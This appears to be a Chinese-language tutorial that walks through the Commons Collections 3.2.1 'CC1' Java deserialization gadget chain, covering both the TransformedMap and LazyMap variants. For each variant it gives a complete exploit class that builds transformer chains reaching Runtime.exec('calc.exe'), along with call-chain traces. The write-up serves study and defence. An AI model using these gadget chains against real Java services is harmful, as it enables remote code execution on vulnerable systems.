JDK < 8u71,commons-collections:3.2.1
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>
|
根据已知 Payload,进行正向分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;
public class CC1TranformedMapExp { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) };
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String, Object> innerMap = new HashMap<>(); innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true);
Object instance = construct.newInstance(Target.class, outerMap);
byte[] data = serialize(instance); System.out.println("序列化完成,准备触发反序列化...");
unserialize(data); }
public static byte[] serialize(Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return baos.toByteArray(); }
public static void unserialize(byte[] data) throws Exception { ByteArrayInputStream bais = new ByteArrayInputStream(data); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } }
|
TransformerMap 当尝试向里面添加新元素(put)或者修改已有元素(setValue)时,它会自动调用绑定的 Transformer 对传入的数据进行加工。
AnnotationInvocationHandler 在反序列化时,会遍历内部的 memberValues(即构造的恶意 Map)。如果发现 Map 里的某个 key,恰好是目标注解里的一个属性名,它就会执行 memberValue.setValue(...) 去修改这个值。
AnnotationType.getInstance(type) 这里的 type 为构造方法里传入的 Target.class。memberTypes 获取到注解类型的所有方法,并循环遍历 memberValues 这个 Map,随后会调用 setValue()
memberValues 即构造的 outerMap(TransformedMap 实例)。

跟进会调用 checkSetValue(),parent 是 TransformedMap 实例

进入后,随后会调用 transform() 方法,valueTransformer 就是我们构造的 transformerChain

随后会循环调用,依次执行构造的 4 个 Transformer

忽略输入,直接返回构造时传入的常量,即返回 Runtime.class

InvokerTransformer 中通过反射来触发调用
- input 是 Runtime.class,反射调用
Runtime.class.getMethod("getRuntime", new Class[0]),返回 Method 对象;
- input 是上一步返回的 Method 对象,反射调用:
getRuntimeMethod.invoke(null, null),返回 Runtime.getRuntime() 的调用结果 → Runtime 实例;
- input 是 Runtime 实例,反射调用:
runtime.exec("calc.exe"),弹出计算器。

反射调用执行命令
1 2 3 4 5 6 7 8
| Class.forName("java.lang.Runtime") .getMethod("exec",String.class) .invoke(Class.forName("java.lang.Runtime") .getMethod("getRuntime") .invoke( Class.forName("java.lang.Runtime"), "calc.exe" )
|
对应到 InvokerTransformer.transform
1 2 3 4 5
| input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")); this.iMethodName = "exec"; this.iParamTypes = String.class; this.iArgs = "calc.exe";
|
1 2 3 4 5 6 7
| ois.readObject() <=> ObjectInputStream.readObject() AnnotationInvocationHandler::readObject() ->AbstracInputCheckedMapDecorator::setValue() ->TransformedMap::checkSetValue() ->ChainedTransformer::transform() ->ConstantTransformer::transform() ->InvokerTransformer::transform()
|
反向
- 目标 - 命令执行
Runtime.exec("calc.exe")
- 如何在不直接调用
Runtime.exec() 的情况下执行它
- 找到能反射调用 exec 的组件
InvokerTransformer 可以通过反射调用任意对象的方法,包括 exec
- 谁调用了
InvokerTransformer.transform()
ChainedTransformer 会依次调用内部的 Transformer
- 谁调用了
ChainedTransformer.transform()
TransformedMap.checkSetValue() 会调用 valueTransformer.transform()
- 谁调用了
TransformedMap.checkSetValue()
- 任何对
TransformedMap 的 Entry 调用 setValue 都会触发 checkSetValue
- 谁会在反序列化时自动调用 Map 的 setValue
AnnotationInvocationHandler.readObject() 会遍历 memberValues 并调用每个 Entry 的 setValue
- AnnotationInvocationHandler 的 memberValues 能否控制
- 可以通过反射将
memberValues 设置为自己的 TransformedMap,并且传入一个特定的注解类(如 Target.class)来通过合法性检查
- 反序列化入口
- 当反序列化
AnnotationInvocationHandler 实例时,会自动调用其 readObject 方法
LazyMap
根据已知 Payload,进行正向分析
循环中后面会调用 value 的某些方法,但这里的 value 是我们传入的 mapProxy 对象



当 AnnotationInvocationHandler.readObject() 中调用 memberValue.getValue() 时,由于 memberValue 是代理对象,强行转交给代理的处理器(恰好也是另一个 AnnotationInvocationHandler 实例)的 invoke()
在 invoke() 方法的逻辑中,它会尝试去内部真正的 Map 中获取被调用的方法名对应的值。
AnnotationInvocationHandler.readObject() 的逻辑是如果调用的是 toString、hashCode、annotationType 等方法,直接处理,其他的会调用 memberValues.get(member),这里的 memberValues 才是真正的 LazyMap 对象

跟进进入 LazyMap.get(),如果 key 不存在,就调用 factory.transform(),factory 即我们构造的 transformerChain

后面的和上面就一样了
AnnotationInvocationHandler 的 readObject 方法,它会去调用内部属性 memberValues 的 entrySet() 方法。而在 LazyMap 版本中,目标是触发 LazyMap.get()。如果直接把 LazyMap 赋值给 memberValues,那么 readObject 执行的是 LazyMap.entrySet(),这并不会触发 get() 方法,链条在这里就断了。
- 怎么把
entrySet() 的调用“扭转”成 get() 的调用
Java 中,如果为一个接口创建了动态代理对象,那么无论调用该代理对象的什么方法,这个调用都会被拦截,统一交给 InvocationHandler 的处理器的 invoke 方法来处理
AnnotationInvocationHandler 这个类不仅重写了 readObject,它本身也是一个 InvocationHandler。而且它的 invoke 方法中,恰好有一段调用了内部 memberValues.get(member) 的代码
链条构造:
- 最内层: 构造好带有恶意
Transformer 链的 LazyMap。
- 中间层(代理处理): 实例化一个
AnnotationInvocationHandler(暂称为 Handler1),把 LazyMap 塞进它的 memberValues 里。
- 代理层: 创建一个
Map 接口的动态代理对象,并且指定它的处理器为 Handler1。
- 最外层(入口): 再实例化一个
AnnotationInvocationHandler(暂称为 Handler2),把刚才创建的代理对象塞进它的 memberValues 里
反序列化过程:
Handler2 进行反序列化 -> 调用代理对象的 entrySet() -> 被拦截,交给 Handler1 的 invoke() 处理 -> Handler1 执行 memberValues.get("entrySet") -> 这里的 memberValues 正是 LazyMap -> 触发 LazyMap.get() -> 执行恶意命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class CC1LazyMapExp {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true);
InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, handler1 );
InvocationHandler handler2 = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
byte[] data = serialize(handler2); System.out.println("序列化完成,准备触发反序列化...");
unserialize(data); }
public static byte[] serialize(Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return baos.toByteArray(); }
public static void unserialize(byte[] data) throws Exception { ByteArrayInputStream bais = new ByteArrayInputStream(data); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } }
|
1 2 3 4 5 6 7 8
| ois.readObject() <=> ObjectInputStream.readObject() AnnotationInvocationHandler::readObject() ->Map(Proxy)::entrySet() ->AnnotationInvocationHandler::invoke() ->LazyMap::get() ->ChainedTransformer::transform() ->ConstantTransformer::transform() ->InvokerTransformer::transform()
|
反向
- …
- 谁调用了
ChainedTransformer.transform()
- 当对 LazyMap 调用
get 方法且 key 不存在时,会触发 factory.transform()
- 谁会在反序列化时自动调用
LazyMap.get()
- 当通过动态代理调用某个方法时,会触发
memberValues.get()
- 谁会在反序列化时触发动态代理
- 当
memberValues 是一个动态代理对象时,在 readObject 中对它进行操作就会触发代理的 invoke 方法
- 如何让 memberValues 成为代理对象
- 通过两层包装:
- 第一层:
lazyMap 被包装在 AnnotationInvocationHandler 中,形成 handler
- 第二层:
handler 被包装成 Map 的动态代理 mapProxy
- 第三层:
mapProxy 再次被包装成 finalHandler 的 memberValues
- 反序列化入口
ois.readObject() 反序列化 finalHandler
PS:
由于 IDEA Debug 时 Variables 面板为了能看到各个变量的当前状态,会后台默认静默调用一些方法获取值并渲染,调试时 Payload 会被提权触发。这里得先关掉 Debug 中的两个选项:
- Enable ‘toString()’ object view
- Enable alternative view for Collections classes
commons collections 源码下载地址 https://archive.apache.org/dist/commons/collections/